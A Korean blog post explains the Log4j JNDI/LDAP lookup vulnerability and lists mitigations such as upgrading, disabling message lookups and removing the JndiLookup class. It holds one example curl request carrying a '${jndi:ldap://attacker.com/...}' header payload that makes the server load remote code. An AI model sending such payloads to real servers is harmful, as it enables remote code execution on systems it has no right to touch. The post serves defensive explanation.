Log4j란?
· 아파치 소프트웨어 재단의 자바 기반 로깅 프레임워크다.
· Logback과 더불어 자바의 대표적인 로깅 프레임워크다.
발견된 취약점
이 취약점은 Log4j의 JNDI, LDAP를 이용한다.
JNDI(Java Naming and Directory Interface)은 자바 프로그램이 디렉토리를 통해 데이터(Java 객체 형태)를 찾을 수 있도록 하는 디렉토리 서비스다.
LDAP(Lightweight Derectory Access Protocol)은 TCP/IP 위에서 디렉터리 서비스를 조회하고 수정하는 응용 프로토콜이다.
Log4j에서는 편리하게 ${prefix:name} 형식으로 Java 객체를 볼 수 있게 하는 문법이 존재한다. 예를 들어 ${java:version} 명령어는 현재 실행 중인 Java 버전을 볼 수 있게 한다. 이러한 문법은 로그가 기록될 때도 사용이 가능하다. 여기서 문제가 발생했다.
자바 프로젝트에 다음과 같은 로그가 존재할 수 있다. 여기서 request는 HttpReqeust에서 요청자가 보낸 문자열이다.
logger.info("Request User Agent:{}", request.getHeader("X-Api-Version"));
위 로그가 존재하는 경로로 다음과 같은 요청을 보낸다고 가정하자.
curl someserver.com/로깅이존재하는경로 -H 'X-Api-Version: ${jndi:ldap://attacker.com/classname}'
이때 Log4j는 문자열을 로깅만 하는 것이 아니라, attcker.com/classname의 객체를 실행하게된다.
해결 방안
1. 해당 버그가 수정된 Log4j 2.15.0 이상 버전의 log4j를 사용한다. 이것을 사용하려면, Java 8 이상 필요하다.
2. Log4j 2.10.0 이상을 사용할 경우 Log4j의 Look UP 기능을 제한하는 설정을 추가한다. 다음 중 하나를 사용한다.
- Java 실행 인자(Arguments)에 시스템 속성 추가: -Dlog4j2.formatMsgNoLookups=true
- Java 실행 계정의 환경 변수 혹은 시스템 변수 추가: LOG4J_FORMAT_MSG_NO_LOOKUPS=true
3. Log4j 2.7.0 이상일 경우 Log4j 설정에서 PatternLaout 속성의 %m 부분을 %m{noloopups}로 교체한다.
4. 위 버전들 미만일 경우 JndiLoopup 클래스와 JndiManager 클래스를 읽지 못하도록 한다.
log4j-cor.jar를 직접 필드하거나, 자바 프로젝트에 패키지명까지 맞춰가면서 dummy화 시킨다.
출처
https://cselabnotes.com/kr/2021/12/12/210/
https://namu.wiki/w/Log4j%20%EB%B3%B4%EC%95%88%20%EC%B7%A8%EC%95%BD%EC%A0%90%20%EC%82%AC%ED%83%9C
https://ko.wikipedia.org/wiki/LDAP
https://ko.wikipedia.org/wiki/JNDI
'기타' 카테고리의 다른 글
newrelic 시간대(timezone) 변경하기 (0) | 2022.06.25 |
---|---|
CSRF(Cross Site Request Forgery)란? (0) | 2022.01.30 |
네이버 클라우드 플랫폼에서 pinpoint 사용하여 스프링부트(Spring Boot) 서버 모니터링하기, Pinpoint Cloud (1) | 2021.11.24 |
JMeter란? JMeter 사용법 (0) | 2021.11.23 |
[Visual Studio Code] 한글 깨짐 해결하기 (2) | 2021.04.08 |
댓글